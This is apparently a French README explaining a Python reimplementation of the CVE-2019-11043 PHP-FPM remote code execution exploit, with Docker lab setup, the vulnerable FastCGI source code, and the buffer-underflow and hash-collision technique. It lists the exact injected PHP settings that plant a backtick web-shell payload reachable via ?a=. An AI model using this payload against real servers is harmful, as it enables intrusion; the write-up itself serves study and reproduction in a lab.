
PHP-FPM Exploit d'exécution de commande à distance
Exécution de code à distance PHP-FPM
Screencast : https://youtu.be/d6benC5FVZM
Cet exploit zero-day dans les configurations PHP-FPM courantes a été découvert lors du concours Realworld CTF en 2019. Une expression régulière est utilisée pour analyser l'URI demandée, mais les caractères de nouvelle ligne %0a ne correspondent pas. Cela déclenche un bug dans FastCGI qui calcule incorrectement la longueur de la chaîne de requête et écrit un octet nul à un emplacement avant le début du tampon prévu. En sélectionnant soigneusement la longueur de la chaîne de requête, un attaquant peut utiliser ce bug pour écraser des variables PHP internes sur le serveur et exécuter du code shell arbitraire.
L'implémentation originale de cet exploit en Go se trouve ici. J'ai utilisé ceci, un article et le rapport de bug original comme ressources d'apprentissage afin d'implémenter l'exploit en Python.
Docker sur Linux Exécutez sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 pour instancier un serveur NGINX/PHP-FPM minimal avec un script vide à /script.php. Le Dockerfile de cette image est disponible ici, bien qu'il ne soit pas nécessaire pour exécuter la commande susmentionnée.
Docker sur Mac Exécutez sudo docker-compuse up -d depuis le répertoire /php/CVE-2019-11043 du dépôt vulhub. (Compose est inclus avec Docker pour Mac.)
Exécutez le script d'exploitation avec la commande python3 exploit.py http://localhost:8080/script.php (ou /index.php si la seconde option a été utilisée). Après une exécution réussie, un shell Web sera accessible en ajoutant des commandes à l'URL après ?a= (p. ex., http://localhost:8080/script.php?a=uname -a).
N.B. J'ai bien essayé de créer un playbook Ansible pour ce travail, mais je me suis heurté à un bug bloquant documenté ici. Il n'est pas possible de démarrer des services systemd sur les noyaux Linux récents (par exemple, toute version LTS d'Ubuntu) avec un playbook Ansible.
Les fichiers de configuration PHP-FPM contiennent une règle pour faire correspondre les requêtes URI entrantes aux scripts PHP, qui ressemble souvent à ceci :
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Cela devrait correspondre à toute URI de la forme /script.php/pathinfo, mais . ne correspond en réalité pas aux caractères de nouvelle ligne %0a. Si l'URI contient une nouvelle ligne, cela déclenche le bug suivant dans l'implémentation PHP :
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
Le problème ici est que slen est correctement calculé comme la longueur de l'URI moins la longueur du chemin de la ressource, mais pilen est par erreur mis à 0. Cela définit path_info à une valeur négative à la ligne 1151, ce qui entraîne un sous-dépassement de tampon. Immédiatement après cette erreur de calcul dans le même fichier, on a :
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
À la ligne 1161, un octet nul est écrit à l'emplacement mémoire mal calculé de l'étape précédente. Cela peut être exploité pour tirer parti d'une vulnérabilité à la ligne 1165, où FastCGI écrit une variable d'environnement. En écrivant l'octet nul dans le pointeur qui contrôle l'opération d'écriture de la variable d'environnement, nous pouvons insérer des variables PHP arbitraires dans l'environnement avec nos requêtes HTTP.
Les variables d'environnement dans FastCGI sont stockées en mémoire dans une séquence compacte de paires clé-valeur sous forme de chaînes. Le début et la fin du tampon contenant ces chaînes s'appellent _fcgi_data_seg. Le membre pos pointe vers le prochain emplacement disponible pour l'écriture. Si le tampon se remplit (pos > end), un nouveau tampon est alloué et le membre next pointe vers l'ancien.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI accède aux variables d'environnement individuelles via une table de hachage appelée _fcgi_hash.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
L'idée ici est d'écraser l'octet de poids faible de pos afin de tromper FastCGI pour qu'il écrase une variable existante. Le code est censé prendre la chaîne ajoutée à notre chemin d'URI et la placer à l'emplacement de PATH_INFO. Cependant, nous voulons écraser PHP_VALUE, car cette valeur est immédiatement récupérée et chargée dans les paramètres PHP après le segment de code vulnérable.
Comme vous pouvez le voir dans exploit.py, le principe général de cet exploit est de trouver une requête URI très longue qui alignera le tampon mémoire interne de FastCGI d'une manière que nous pouvons exploiter. L'idée est de trouver le nombre exact de caractères nécessaire pour que FastCGI alloue un nouveau tampon _fcgi_data_seg. Lorsque cela se produit, FastCGI écrira de manière prévisible notre PATH_INFO dans le nouveau tampon, suivi immédiatement par chacun de nos en-têtes HTTP comme nouvelles valeurs d'environnement. L'étape suivante consiste donc à trouver de combien de caractères nous devons compléter un en-tête HTTP arbitraire pour aligner la mémoire selon nos besoins. Étant limités à l'écriture d'un octet nul à un emplacement arbitraire, nous devons faire pointer pos vers un décalage prévisible par rapport à PHP_VALUE afin que la modification de l'octet de poids faible l'y déplace.
Le défi est que nous voulons écraser PHP_VALUE, mais nous ne savons pas où elle se trouve en mémoire. Lorsque FastCGI charge cette variable, il hache la chaîne PHP_VALUE pour obtenir l'adresse mémoire réelle selon un algorithme simple :
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
Au lieu de modifier réellement la table de hachage d'une manière ou d'une autre, tout ce que nous avons à faire est de créer une autre variable d'environnement ayant la même longueur de chaîne et le même hachage que PHP_VALUE selon cette fonction. Cela trompera la recherche de hachage pour qu'elle lise notre en-tête HTTP au lieu de la variable prévue. L'auteur de cet exploit a intelligemment remarqué qu'un en-tête appelé EBUT sera enregistré sous la forme HTTP_EBUT dans l'environnement FastCGI, ce qui satisfait cette exigence.
Pour l'attaque elle-même, nous envoyons des requêtes GET contenant notre en-tête EBUT et utilisons le bug d'écrasement par octet nul pour écraser sa valeur. Nous essayons de définir les variables d'environnement PHP une par une avec des requêtes répétées :
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
La modification réussie de toutes ces variables permet une nouvelle requête ?a= sur le serveur pour l'exécution arbitraire de code shell. La boucle d'attaque vérifie le succès à chaque itération en essayant d'exécuter which which. L'attaquant peut facilement détecter si cela a réussi en lisant le résultat de la réponse HTTP (p. ex., /bin/which).